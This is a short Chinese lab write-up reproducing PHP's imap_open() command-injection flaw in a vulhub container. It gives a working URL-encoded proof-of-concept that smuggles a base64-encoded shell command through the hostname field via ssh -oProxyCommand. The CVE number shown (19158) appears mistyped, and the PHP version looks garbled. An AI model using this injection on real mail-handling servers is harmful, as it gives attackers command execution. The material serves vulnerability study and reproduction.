参考文献:https://www.anquanke.com/post/id/167292
安装imap模块
环境:ubuntu16.04,php5.6.381
apt-get install php-imap

imap_open()语法
1 | imap_open(string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]]) |
mailbox参数的值由
服务器名和服务器上的mailbox文件路径所组成,INBOX代表的是当前用户的个人邮箱。1
$mbox = imap_open ("{localhost:993/PROTOCOL/FLAG}INBOX", "user_id", "password");
在括号内的字符串中,有
服务器名称(或者IP地址)、端口号以及协议名称,标志。用户可以在协议名后设置(第3个参数)。php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,通过注入这个参数,最终将导致命令执行漏洞。
复现CVE-2018-19158
1 | /vulhub/php/CVE-2018-19158# docker-compose up -d |
- POC
1
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=11&password=11


-oProxyCommand参数
SSH命令中可以使用-o参数来设置连接期间可用的各种选项。在建立SSH连接之前,可以设置ProxyCommand参数:1
ssh -oProxyCommand="touch tmp.txt" localhost
当我们执行这条命令时,可以发现即便我们没有建立与localhost的SSH连接,也会创建tmp.txt文件。

